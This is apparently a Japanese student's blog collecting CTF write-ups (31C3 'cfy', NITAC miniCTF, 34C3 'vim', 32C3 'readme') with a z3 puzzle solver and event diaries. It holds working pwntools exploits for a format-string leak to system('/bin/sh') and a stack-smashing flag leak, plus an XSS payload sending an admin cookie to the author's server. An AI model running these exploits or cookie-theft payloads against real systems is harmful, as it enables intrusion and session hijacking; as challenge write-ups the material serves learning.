更新日時で差をつけろ

むしろ差をつけられている

31C3 CTF 「cfy」

pwn問題集easyより。
FunnyBusiness と同じぐらいの難易度に感じた。眠くてよくわからなくなってwrite-upを開いたけど単純だったのでもうちょっと粘ればよかったなあ...

概要

動かすと、0)~3)のオプションが提示されて適当に打つとhexと10進数を変換してくれるプログラム。
parse from pointerはよくわからなかった。

入力された0~3の値を4bit左シフト(=16倍)してからobj.parsers = 0x601080に足し、処理内容を変えているのがわかる。(obj.buf = 0x6010e0にはPlease enter your number:での入力が入っていて、call raxの際の第一引数になる)

shl rax, 4                              
add rax, obj.parsers                    
mov rax, qword [rax]                    
mov edi, obj.buf  
call rax

だが、ここでは入力チェックが欠けていて、-2とか100などの入力も受けつけてしまいSIGSEGVを起こす。
値を16倍しているので、たとえば-3だと48バイト前に書かれているアドレスをcallする。
obj.parsers周辺を見てみると、printfobj.bufもcallできることがわかる。

0x00601000  280e 6000 0000 0000 0000 0000 0000 0000 ; .got.plt領域
0x00601010  0000 0000 0000 0000 d605 4000 0000 0000                                                                           
0x00601020  e605 4000 0000 0000 f605 4000 0000 0000 ; 0x4005e6 -> printf, オプション -6) !?                                                                
0x00601030  0606 4000 0000 0000 1606 4000 0000 0000 ; 0x400606 -> fgets                                                            
0x00601040  2606 4000 0000 0000 3606 4000 0000 0000                                                                           
0x00601050  4606 4000 0000 0000 0000 0000 0000 0000                                                        
0x00601060  0000 0000 0000 0000 0000 0000 0000 0000 ; .data領域
0x00601070  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x00601080  3d07 4000 0000 0000 b409 4000 0000 0000 ; obj.parsers, オプション 0) -> 0x40073d                                                                    
0x00601090  6107 4000 0000 0000 c309 4000 0000 0000 ; オプション 1) -> 0x400761                                                      
0x006010a0  8507 4000 0000 0000 d209 4000 0000 0000 ; オプション 2) -> 0x400785                                               
0x006010b0  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x006010c0  0000 0000 0000 0000 0000 0000 0000 0000 ; .bss領域
0x006010d0  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x006010e0  0000 0000 0000 0000 0000 0000 0000 0000 ; obj.buf = 0x6010e0, オプション 6) !?                                               
0x006010f0  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x00601100  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x00601110  0000 0000 0000 0000 0000 0000 0000 0000   

printfでリークができないか試してみる。上より、-6を入れてやればcallできた。

$ ./cfy
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
-6
 
Please enter your number: AAAA %p %p %p %p %p | %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 
AAAA 0x7f3165b79890 0x6010e0 0xfbad2288 0x24fc6d5 0x7f3165d634c0 | 0xfffffffa15031280 0x11 0x400930 0x7f31657be1c1 (nil) 0x7ffd15031288 0x100000000 0x40080c (nil) 0x41778c36290b7836 0x400650 0x7ffd15031280 (nil) (nil) 0xbe8da6b0180b7836 0xbf154641f9997836 (nil) (nil) (nil) 0x1 0x40080c 0x4009a0 (nil) (nil) 0x400650 0x7ffd15031280 
dec: 333
hex: 0x14d

9番目の%pで出力されている0x7f31657be1c1main関数のリターンアドレスで、__libc_start_mainにリターンする。
vmmapでlibcのベースアドレスは0x7ffff79f5000となったので、オフセットは0x211c1

$ rax2 -k '0x7ffff7a161c1-0x7ffff79f5000'
0x211c1

libcのベースアドレスがわかるので、system(オフセットは0x47dc0)のアドレスを計算したあと、それを呼び出したい。
上に書いたとおりobj.bufに書かれたアドレスもcallできるので、これを利用する。
まず1回目でobj.bufの領域にsystemのアドレスを書き込んだあと、2回目で/bin/shを引数として渡すと同時にcallする。
ここで注意すべきなのが、1回目でobj.bufに書き込んでも2回目で/bin/shという7byte分は上書きされるということ。なので、systemのアドレスは16byte後ろにずらして書き込む(オプションの数字も1つ増やす)。

Exploit

from pwn import *
 
c = remote('localhost', 62000)
 
libc_start_main_offset = 0x211c1
system_offset = 0x47dc0
 
# leak libc's address
c.recv(1024) 
c.send("-6\n")
c.recv(1024)
c.send("%9$lx\n")
 
libc_base = int(c.recv(12), 16) - libc_start_main_offset
log.info(hex(libc_base))
system_addr = libc_base + system_offset
 
# write system's address
c.recv(1024)
c.send("1\n")
 
payload  = p64(0)
payload += p64(0) # padding for string '/bin/sh'
payload += p64(system_addr)
payload += "\n"
 
c.recv(1024)
c.send(payload)
 
# pass '/bin/sh' & call system
c.recv(1024)
c.send("7\n") # 6 -> obj.buf, 7 -> obj.buf + 0x10
c.recv(1024)
c.send("/bin/sh\n")
 
time.sleep(0.3)
c.interactive()

Xmas Contest 2017 I - SAT Puzzle を z3 を使って解いた

Xmas Contest 2017のI - SAT Puzzleのパズルをz3というSMTソルバを使って解いてみた。

あとでminisatが解釈できるDIMACS CNFを出力するようにして実際にジャッジにも出してみたい。

参考にしたのはここ。
Xmas Contest 2017 I問題 SAT Puzzle 解説
SAT ソルバー 入門 JOI春合宿のスライド。
パズルをSugar制約ソルバーで解く

z3は単なるソルバなので、そのソルバを使う言語は自由に選べる。z3 gemがあったのでRubyで書いた。
隣接の判定を8方向で行ってたりいろいろ間違えたりして5時間ぐらいかかった…
exampleを見てなんとなくで書いているのでもっとスマートに書けるかも。

require 'z3'
 
class PuzzleSolver
  def initialize board
    @board = board
    @data = []
    @constraints = []
    @solver = Z3::Solver.new
  end
 
  def solve
    @data = (0...6).map do |y|
      (0...6).map do |x|
        make_cell x, y, @board[y][x]
      end
    end
 
    6.times do |y|
      6.times do |x|
        make_constraints_connectivity x, y
      end
    end
 
    make_constraints_unique
 
    if @solver.satisfiable?
      m = @solver.model
      
      @data.each do |row|
        puts row.map {|k| m[k[:c]].to_i == 1 ? 'x' : '.' }.join
      end
    else
      puts 'could not solve'
    end
  end
 
  def make_cell x, y, isblack
    c = Z3.Int "cell(#{x}, #{y})"
    g = []
    4.times do |i|
      g[i] = Z3.Int "group#{i}(#{x}, #{y})"
      @solver.assert 0 <= g[i]
      @solver.assert g[i] <= 4
    end
 
    @solver.assert Z3.Or(c == 0, c == 1)
    @solver.assert c == 1 if isblack
 
    # c, g1~g4から1つ以上が真で、2つ以上は同時に真にならない => ちょうど一つが真
    @solver.assert Z3.Or(g[0] > 0, g[1] > 0, g[2] > 0, g[3] > 0, c == 1)
    [c, *g].combination(2) do |a, b|
      @solver.assert Z3.Or(a == 0, b == 0)
    end
 
    {c: c, g: g}
  end
 
  def make_constraints_unique
    4.times do |group| # for group0, 1, 2, 3
      group_ints = @data.map do |row|
        row.map { |d| d[:g][group] }
      end.flatten
 
      1.upto(4) do |node_num|
        # group_intsのどれかがそれぞれノード番号1,2,3,4になる
        @solver.assert Z3.Or(*group_ints.map { |gi| gi == node_num })
        group_ints.combination(2) do |a, b|
          @solver.assert Z3.Or(a != node_num, b != node_num)
        end
      end
    end
  end
 
  def make_constraints_connectivity x, y
    4.times do |group|
      g = @data[y][x][:g][group]
 
      # 連結(ノード番号1を根とする有向木のように考えて、ノードの番号が2以上のときは自分より小さい番号のノートを隣に置く)
      r = adjacent(x, y).map do |nx, ny|
        Z3.And(@data[ny][nx][:g][group] > 0, @data[ny][nx][:g][group] < g)
      end
      @solver.assert Z3.Implies(g > 1, Z3.Or(*r))
 
      # 異なるグループのマスが隣接しない
      r = adjacent(x, y).map do |nx, ny|
        ([0, 1, 2, 3] - [group]).map { |other_group| @data[ny][nx][:g][other_group] == 0 }
      end
      @solver.assert Z3.Implies(g > 0, Z3.And(*r.flatten))
    
      # r = adjacent(x, y).map do |nx, ny|
      #   @data[ny][nx][:g4] > g4
      # end
      # @solver.assert Z3.Implies(g4 > 0, Z3.Or(*r)) # g4 == 4 のときに不可能
    end
  end
 
  def adjacent x, y
    r = []
    r << [x-1, y  ] if x > 0
    r << [x  , y-1] if y > 0
    r << [x  , y+1] if y < 5
    r << [x+1, y  ] if x < 5
 
    r
  end
end
 
board = '
......
...x..
..x..x
x..x..
....xx
x.x..x
'
board = board.split(' ').map { |line| line.chars.map { |ch| ch == 'x' } }
 
solver = PuzzleSolver.new board
solver.solve
$ ruby solve_by_z3.rb
x...x.
.x.x..
..xx.x
x.xxxx
xx..xx
xxx..x

NITAC miniCTFに参加した

2/4, 明石高専で開かれたminiCTFに参加しました。
personal-development名義でチームSMAPとして出て、個人1050点/チーム1950点で1位でした。
WebとCryptoに弱いのをなんとかしたい。

以下write-up。

Checkcoin

500億円程度流失していそうな問題名。
ユーザは1000NEM持っていて、FLAGを見るには10000NEM必要らしい。
また、Johnプロに募金ができるページが用意されている。ボタンを押すと書かれた数だけNEMが減っていく。

ソースを見るとこんな感じ(記憶から再現)なので、amountvalue-10000にするとNEMが加算されるようになり、無事FLAGを入手できる。

<input type="hidden" name="amount" value="5">
<input type="submit" value="5 nem">

Where flag?

gitを使った問題。
たまたまGitの配管コマンドについての記事を読んでいたのでこれを使った。

含まれているflag.txtは偽物。

$ cat flag.txt
NITAC{This_is_un!not_flag}

git logするも、嘘のフラグに書き換えた記録しかない。

$ git log --oneline
e0168bf (HEAD -> master) Change to lie flag
0001fda add tmp_flag

本番ではなんかいろいろウワーッとやったので覚えていない。
reflogを使えばChange to real flagからresetで履歴が書き換えられたことが確認できるらしい。

$ git reflog 
e0168bf (HEAD -> master) HEAD@{0}: commit: Change to lie flag
0001fda HEAD@{1}: reset: moving to 0001fda371ae32ee3f987f2ff63129ef647381a5
167eff1 HEAD@{2}: commit: Change to real flag
0001fda HEAD@{3}: commit (initial): add tmp_flag 

そこからは配管コマンドを使って、

$ git ls-tree 167e
100644 blob fa348447eb8e23bbf88da4521d3c4961abd91cdf    flag.txt
$ git cat-file blob fa34
NITAC{You_can_change_the_past}         

Basic!

.pcapが渡される。httpで絞りこんであげると、Basic認証のパケットがある。

http://10.0.0.111/にアクセスし、ID,PWをhoge, M2Fuchagam#qと入力するとFLAGにアクセスできる。

7ch

「adminのcookieを盗め」という問題。

自分「SQLi〜〜うーん、無理!w」
運営「Demand AdministratorのフォームにXSS脆弱性があるよ〜」
自分「(Googleを開く)」

python -m http.serverで適当にサーバを立ち上げたあと、<input>maxlength属性を書き換え、<script>document.location='http://(自分のマシンのIP):8000/'+document.cookie</script>を流し込む。
するとサーバ側で送信したデータが開かれるのでスクリプトも実行される。

$ python -m http.server
10.0.0.110 - - [04/Feb/2018 17:48:13] code 404, message File not found
10.0.0.110 - - [04/Feb/2018 17:48:13] "GET /admin=89iu4whyf9poqjfj89ygw3n0jfsjo82 HTTP/1.1" 404 -

また、LoginのページにFLAGが/admin/flagにあることが示されているので、Cookieadmin=89iu....に書き換えてアクセスするとFLAGが出る。

ZIPZIP

既知平文攻撃。
NITACminiCTF.pngconnpassページで公開されているエスパー。

$ zip downloaded.zip downloaded.png
$ pkcrack -C zip.zip -c NITACminiCTF.png -P downloaded.zip -p downloaded.png -d output.zip
$ unzip output.zip
$ cat flag.txt
NITAC{unzip_unzip_unzip}

John thinks...

@Akashi_SN への愛が足りずにFLAGを予測できなかった。無念。
stringsコマンドで。

$ strings hoge.jpg -n 20
NITAC{akashi_sn_kawaii}cms

34C3 CTF 「vim」のwrite-upを見た

いろいろ試したもののうまくいかなかった問題。Easyとは...(m0rphしか解けなかった人の顔
CTFtime.orgにwrite-upが上がっていたので参考にしつつリベンジしてみた。とてもくわしく書かれているがややこしいので、理解するために日本語に訳しているだけみたいなところがありアレ。
https://blog.rpis.ec/2017/12/34c3ctf-vim.html

Vimコマンドを読む

問題のファイル(上記URL参照)には、4行目にFLAGを入力しろと書かれている。
GY@"というコマンドは

  • G 最終行に飛び
  • Y 行全体をヤンクして(バッファにためて)
  • @" ヤンクした内容をコマンドとして実行する

という意味。

そこで最終行を見てみる。最終行周辺はよく見るとVimのコマンドになっている(気づくのにとても時間がかかった)。
わかりやすいようにコマンド単位に分割したのが以下。

6G (6行目行頭へ)
f2 "ayl (レジスタa = '2')
^ f0 "cyl "Ayl (レジスタc = '0', レジスタa += '0')
^ fh "Ayl (レジスタa += 'h')
^ fj "Ayl (レジスタa += 'j')
^ fG "gyl (レジスタg = 'G')
^ fk "Gyl (レジスタg += 'k')
G $ FY "Gy3l  (レジスタg += 'Y@"')
$ F@ "hyl (レジスタh = '@')
Fh "Hyl (レジスタh += 'h')
260G Y @" (260行目を実行)
F10H (実行されない)

いろいろ実行したあと260G Y @"でジャンプしている。(<X> <Y>などはあとで説明に使います)

1G ff "dyl "eyl "fyl (レジスタd, e, f = 'f')
4G @c "Dyl (レジスタd += レジスタcが指すFLAGの文字<X>)
6G @d h j "Eyl j "Fyl (6行目から<X>を探し、レジスタe += その左下の文字<Y>, レジスタf += さらにその1行下の文字<Z>) 
1G fl "Cyl (レジスタc += 'l')
6G f2 "byl F0 "Byl (レジスタb = '20')
261G Y @" (261行目を実行)
(3c043Bh4Hf5#)

261行目を見ると、

9G @e 19l @a "Byt. (9行目の文字<Y>にジャンプし、19文字右に移動、レジスタaを実行してカーソルから右に辿って'.'の直前までの文字列<P>をレジスタbに追記)
6G fj "Byl (レジスタb += 'j')
6G f2 "ayl F0 "Ayl (レジスタa = '20')
9G @f 19l @b "Ayt. (9行目の文字<Z>にジャンプし、19文字右に移動、レジスタbを実行して、カーソルから'.'直前までの文字列<Q>をレジスタaに追記)
6G fj "Ayl (レジスタa += 'j')
40| @a (適当に移動、またすぐ移動するので意味はない)
260G Y @" (260行目を実行)
(@1fBkya5B^)

あれ、これ無限ループでは…と思ったが、そうはならない。
自作のシミュレータに与えてみると、4行目に書いたFLAGの文字が終わるとエラーを出して終了した。末尾の()で囲んだ部分は実行されない。
実行中のレジスタの中身を吐かせてみるとこのようになる。write-upではVim本体にパッチをあてて検証したらしい。

{"a"=>"20hj", "c"=>"0l", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"f3", "e"=>"f,", "f"=>"fG", "b"=>"20h33j"}
...
{"a"=>"20h169j", "c"=>"0llllllllllllll", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"ff", "e"=>"f2", "f"=>"f2", "b"=>"20l72j"}
...
{"a"=>"20h192j", "c"=>"0lllllllllllllllll", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"f", "e"=>"f", "f"=>"f", "b"=>"20l78j"}

これと260・261行目からわかる内容をまとめると、

  • @a @b を実行するとたくさん移動する
  • 4行目で実行される@c には、lがどんどん後ろに連なっていくので、4行目のFLAGの文字を順番にフォーカスしている
  • @d @e @f@c に応じて変化
  • @h は自分を呼び出す(そして全体を通じてレジスタの中身が変化しない)
  • @g は下から2番目の行を実行する(そして全体を通じてレジスタの中身が変化しない)

このあと処理を逐次追ってみたけど頭が爆発しそうになったので諦めて本番はここで終わり。

依存関係を図にしてみたりした。ちょっとはわかりやすい…?
@bが決定したあとに@a が決定され、@aは次のループに引き継がれるので、1回のループで「与えられた@aとFLAGの文字をもとに、新たな@aを生成する」と考えることができる。

ループの仕組み

次に@a @bの動きを理解したい。
まず、FLAGから文字を取り出して6行目で検索し<X>が決定する。
逆の言い方をすれば、FLAGで使われる文字列はすべて6行目にある。
<X> によって <Y> <Z> が確定するが、そのもととなる7,8行目をよく見ると文字種が偏っている。

 6 @Wk0KVmQ3rFpgcZy.C8eY7b_sBSETUvwiM5LPzuNofhn6Ox1G942jdaXlDRtHqJAI6HntUkUZmdU".i"
 7 @,hhGGl,"_Gl@l,l2"""@l,2G_22h_@2Glh2"@@,2__G2@hGh,l_l_"hGh,_,""@H1"jDA"h"53AA6.d -> <Y>
 8 22l,2_lG,@l_,,@Ghl"2h"l@@h,_@l_lG2h"h@l,2,"hGGG,"_hG@2@2"_"_h_G""@Bd@#$BEj_GG5,B -> <Z>

6行目で、重複しているために<X>にならない文字を省く(fGというようにアクセスされるので、同じ文字が2つあると右側にあるものにはたどり着かないことに注意)。
それによって<Y> <Z> も絞られるので省くと、以下のようになる。

6 @Wk0KVmQ3rFpgcZy.C8eY7b_sBSETUvwiM5LPzuNofhn6Ox1G942jdaXlDRtHqJAI           "
7 @,hhGGl,"_Gl@l,l2"""@l,2G_22h_@2Glh2"@@,2__G2@hGh,l_l_"hGh,_,""@           A     -> <Y>
8 22l,2_lG,@l_,,@Ghl"2h"l@@h,_@l_lG2h"h@l,2,"hGGG,"_hG@2@2"_"_h_G"           G     -> <Z>

このように見ていくと、<Y> <Z> になる文字は@ , h G A l " _ 2だけだとわかる。
そして、<Y> <Z> は9行目でのジャンプにのみ使われている。ここも <Y> <Z> からアクセスされない部分は省いてしまう。

9 ._3d93@jA_F"H.#0GB8#c,5d#9lAaakh18ck2eGDcHlG7A21Cg8"C$3$e$"D@l.E^A6eDlbec5$D".hl
9  _    @ A  "    G    ,    l    h    2

また、9行目にジャンプしてからは19文字右に移動したあと @a @b のいずれかが実行される。
ここで、@a @b20h... 20l... から始まることに注目すると、最終的な<Y> <Z> からの横方向の移動距離は+19 ± 20 = -1 or +39の2つだけ。
移動先の候補に*で印をつけてみると、10行目以降のlh縦方向で揃う(下画像赤色部分)。

Aの移動先の候補はズレているが、7行目に遡ると1度しか出てきていないのでおそらくダミー。排除して考える。
加えて、h lの前にある文字もただのパディングとわかる。

そのあとは@a @b の続きで赤色の列を下に移動し<P> <Q> として追記したあとはじめへ戻る。
ここで、l250. h129. といった <P> <Q> の候補は 16 * 250 = 4000個ある。
この4000個を行ったり来たりして後述する@gに飛ばすようなFLAGを見つける。

狙う場所

write-upには@g に注目したと書いてある。vimを開いて1行目で指示されるコマンドを打った後、@gを実行するとwin!と出た。
なるほどそういうことか。

  1 Enter the flag in line 4 and type GY@"
  2 
  3 The flag is:
  4 34C3_example
  5 --------------------------------------------------------------------------------
  6 win!

そして@gを実行している箇所は108行目行頭だけなので、ココに飛ばせばよいということになる。

108 @g.ABh175.l220.l245.l159.h61.7h45.^h122.h23.2l176.l86.9l146.h5.EGl143.l168.h222.

Exploit

@gにたどり着くようなFLAGを探すにはどうすればいいんだろう? @gから逆順にたどるのもキツそう。
write-upではBFS(幅優先探索)なbrute forceで解いたようなのでそれを真似してみる。
このように、@a(初期値は20hj)とFLAG文字列全体を持つようにすると経路復元の必要がなくなりラク
また、同じ@aを得た場合は枝の探索を断ち切って計算量を削減する。

vimcommand.rbは開催中に自分で書いていたシミュレータ。

require_relative './vimcommand'
 
FLAG_CHARS = "34C_W0KVmQrFpgcZy8eY7bsBSETUvwiM5LPzuNofhn6Ox1G92jdaXlDRtHqJAI".chars # 6行目より(k, @, .といった制御文字は取り除く)
State = Struct.new :a, :flag
 
PROBLEM = File.read("vim.txt").split "\n"
 
visited = {} # それぞれの@aを生成する最短のFLAG
queue = [State.new("20hj", "")]
 
def step_loop state, newchar
  vc = VimCommand.new PROBLEM, '260GY@"'
 
  vc.registers["a"] = state.a
  vc.registers["d"] = 'f' + newchar
  vc.registers["e"] = 'f'
  vc.registers["f"] = 'f'
  vc.lines[260] = %Q(6G@dhj"Eylj"Fyl6Gf2"bylF0"Byl261GY@") # @c, @dへの代入を削除
  vc.lines[261] = %Q(9G@e19l@a"Byt.6Gfj"Byl6Gf2"aylF0"Ayl9G@f19l@b"Ayt.6Gfj"Ayl40|@a) # 261行目から260行目に戻らないようにする
 
  vc.call do |sc|
    # puts "#{sc[0]} #{vc.focus_line} #{vc.focus_char} #{vc.registers['b']}"
  end
 
  State.new vc.registers["a"], state.flag + newchar
end
 
until queue.empty?
  cur = queue.pop
  FLAG_CHARS.each do |ch|
    puts cur.flag + ch
    nxt = step_loop cur, ch
    
    unless visited[nxt.a]
      queue << nxt
      visited[nxt.a] = true
    end
  end
end
require 'strscan'
 
class VimCommand
  attr_reader :lines, :focus_line, :focus_char, :stack, :registers
 
  def initialize lines, init_cmd
    @lines = ['', lines].flatten
    @focus_line = 0
    @focus_char = 0
    @stack = [init_cmd || @lines[0]]
    @registers = {}
  end
 
  def call &block
    while @stack.any?
      execute &block
    end
  end
 
  def execute &block 
    return if @stack.empty?
 
    @sc = StringScanner.new @stack.pop
    until @sc.eos?
      break if step &block
    end
  end
 
  def step
    sc = @sc
    break_loop = false
 
    case
    when sc.scan(/(\^|0)/)
      @focus_char = 0
    when sc.scan(/\$/)
      @focus_char = fli.size - 1
    when sc.scan(/(\d+)h/)
      @focus_char -= sc[1].to_i
    when sc.scan(/(\d+)j/)
      @focus_line += sc[1].to_i
    when sc.scan(/(\d+)k/)
      @focus_line -= sc[1].to_i
    when sc.scan(/(\d+)l/)
      @focus_char += sc[1].to_i
    when sc.scan(/h/)
      @focus_char -= 1
    when sc.scan(/j/)
      @focus_line += 1
    when sc.scan(/k/)
      @focus_line -= 1
    when sc.scan(/l/)
      @focus_char += 1
    when sc.scan(/G/)
      @focus_line = @lines.size - 1
    when sc.scan(/(\d+)G/)
      @focus_line = sc[1].to_i
      @focus_char = 0
    when sc.scan(/(\d+)B/)
      @focus_line -= sc[1].to_i - 1
      @focus_line -= 1 if @focus_char == 0
    when sc.scan(/(\d+)\|/)
      @focus_char = sc[1].to_i - 1
    when sc.scan(/Y@"/)
      @stack.push sc.string[sc.charpos..-1]
      @stack.push fli
      break_loop = true
    when sc.scan(/@(.)/)
      @stack.push sc.string[sc.charpos..-1]
      @stack.push @registers[sc[1]]
      break_loop = true
    when sc.scan(/f(.)/)
      @focus_char = fli.index sc[1], @focus_char
    when sc.scan(/F(.)/)
      @focus_char = fli.rindex sc[1], @focus_char
    when sc.scan(/"([A-Z])yl/)
      @registers[sc[1].downcase] += fch
    when sc.scan(/"([A-Z])y(\d+)l/)
      @registers[sc[1].downcase] += fli[@focus_char..@focus_char + sc[2].to_i]
      @focus_char += sc[2].to_i - 1
    when sc.scan(/"([A-Z])yt(.)/)
      @registers[sc[1].downcase] += fli[@focus_char...fli.index(sc[2], @focus_char)]
    when sc.scan(/"([a-z])yl/)
      @registers[sc[1]] = fch
    else
      raise "Parse Error: #{sc.charpos} #{sc.string[sc.charpos..-1]}"
    end
 
    yield sc if block_given?
 
    break_loop
  end
 
  def fli
    @lines[@focus_line]
  end
 
  def fch
    fli[@focus_char]
  end
end

これを実行すると、数秒でFLAGを探索しエラーを出して止まる(乱暴)。前に見た通り@gを実行すると内容が書き換えられるため。
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs4 がFLAG。

34C3_MgOSwZm9WFTRKYvCXFXXxpX9ct
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cH
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cq
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cJ
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cA
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cI
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs3
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs4
/home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:86:in `step': Parse Error: 0 20@gj (RuntimeError)
        from /home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:25:in `execute'
        from /home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:16:in `call'
        from exploit.rb:21:in `step_loop'
        from exploit.rb:32:in `block in <main>'
        from exploit.rb:30:in `each'
        from exploit.rb:30:in `<main>'

おもしろいけど、誰がこんな問題思いつくんだろうか...少しずつ理解してたら記事にするまで1ヶ月ぐらい経ってしまった(白目
アルゴリズム力も足りないなあ…

OSC大阪に参加した

Open Source Conference Osaka 2018 に参加しました。小学生のときに1回セミナーに参加したようなしなかったような記憶があります。
企業ブースではSHOT NOTEもらったりシールもらったり醤油もらったり(!?)。

Linuxベースのシングルボード色々」というセミナーではRaspberry Pi以外のBeagleboneなどの紹介がありました。
Banana Pi Router-2 が面白そう。ルーターにもサーバにもなる…!
pool.ntp.orgにRPiで立てたNTPサーバが参加して、秒間3000パケットを投げられて回線がパンクした話も聞けました。stratum 1 でも案外楽に作れるらしいので作ってみたいけど寮の回線がダウンしそう(((

名前だけは聞いたことがあったEjectコマンドユーザ会やmikutterのブースにはいろいろなものが置いてあってわくわくしました。
openSUSEユーザ会のブースで布教を受けました。ブートCDももらっちゃった。
関西Lispユーザ会というのが昨年の夏にできて、2/3に勉強会を開催する予定だったそうなのですが参加は無理そう…残念。
ユーザ会ってなんだか敷居の高いイメージがあったけど、むしろそういうコミュニティに加わって学ぶことができれば楽しそうだと思いました。

セミナーのいくつかは若干期待はずれなものもありましたが、そのあたりは個人の好みなので仕方ないか。
充実した1日でした。

1/28: ELCAS/SEEDS合同発表会

京都大学ELCAS・大阪大学SEEDS合同成果発表会Twitter上で知り合った某校の人々と行ってきた。
昨年ELCASには落とされてしまったとはいうものの、今年申し込むかはまだ決めていない。SecHack365などなどの情報がまだ出ていないので。
化学だったり生物学だったりの発表は難しくて理解しづらかった。
情報系の発表は「CNNと文字のアスペクト比を用いたくずし文字認識」「ドローン搭載カメラ画像を用いた物体認識」があった。
ドローンにカメラは定石みたいなところがある気がする、ドローンがもうちょっとパワフルになってくれればできることも広がるんだろうけど。
化学系の発表内容を理解して質問している人を見て「なんでわかるんだ〜」と思ったが、自分もCNNの学習データの画像について質問してたのでそういうことかもしれない。

昼はおにぎりとバケットを食べた。
その後はポスター発表。完全食の調査や副作用の軽減策をビッグデータから探し出す研究があった。米子高専の人も発表していた(SEEDS参加者)。
途中で疲れてしまったので2人で「京都大学サロン」に行きOSCのいろいろを整理したりファームウェアハッキングの記事を見たり雑誌を読んだりした。日経プレジデント、特集「24時間の使い方」ぴったりじゃないか。でも「グローバルリーダー」と何度も繰り返すのがくどく感じたし、内容もどこででも語られているものばかりだった。

せっかく会えたのでOSCで大量にもらったシールをあげた。何枚か気に入ってもらえるのがあればいいなと考えていたが、結局nginxシール以外は全部渡した。openSUSEそんなに需要あるの…?
カレンダーが使いこなせない人間なので、O'Reillyのオリジナルカレンダーもついでに。

帰りの電車ではコンパイラの仕組みなどを聞かれたので知っていることを一気に話して図に描いた。案外スラスラ説明できたので、そこそこlibcとかELFも理解できてるっぽい。
そういう話題を調べる際にFEレベルでも知識の足場を作っておくと便利なんだなあと気づいた。

TDRJ氏「CTF, Cryptoしかできそうにないんだよね…」
sei0o「むしろCryptoは頭のいい人にしかできないよ」

どうやってつながりを得たのかと言われ、たしかに関西はそういう機会が少ないよなあと思った。そのためのCombKansaiなんだけどね。

そのあとは寮に帰って2日間の記録を書いた。IBusからFcitxに戻して右Altを変換キーに再度割り当てた。時間溶けた。
来週末はNITAC CTFがあるので平日でしっかり勉強します。

します!!

32C3 CTF 「readme」を解いた

argv0 leakというものを使う問題。
katagaitai勉強会 #4の資料が詳しい。
自前の環境ではExploitが動かなかった。その原因を探すので3日ぐらい溶かしたので問題自体のwrite-upを書く気が失せている。まあいいか(低学年高専生の発想)。
argv0 leak と glibc の対策 別にまとめた。

ここも参考にした。
32C3 CTF readme - ちょっとずつ成長日記

argv0 leakはSSP(Canary)が有効でないと使えない。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

0x600d20.data内)にFLAGが格納されているが、あとからの入力で書き換えられてしまう。
しかし、.dataセクションの中身はマッピングされたものであるため0x400d20にも同じ文字列が入っている。
マッピングについてはELF実行ファイルのメモリ配置はどのように決まるのか - ももいろテクノロジーにくわしく書いてある。

リンカスクリプトを見ると、read-onlyセクションがtextセクションとして0x400000から配置されていることがわかる。 また、データセグメントは次のメモリページとなるように調整されていることがわかる。

Exploit

from pwn import *
context(os='linux', arch='amd64')
 
c = process('./readme.bin') #remote('localhost', 62000)
 
c.recv()
raw_input()
 
payload  = "A" * 0x210
payload += p64(1)
payload += p64(0x400d20) # flag copied by ld
payload += p64(0)
payload += p64(0x600d20) # envp[0] 
payload += "\n"
 
c.send(payload)
 
c.send("LIBC_FATAL_STDERR_=yoooo\n")
 
print(c.recv()) # => *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated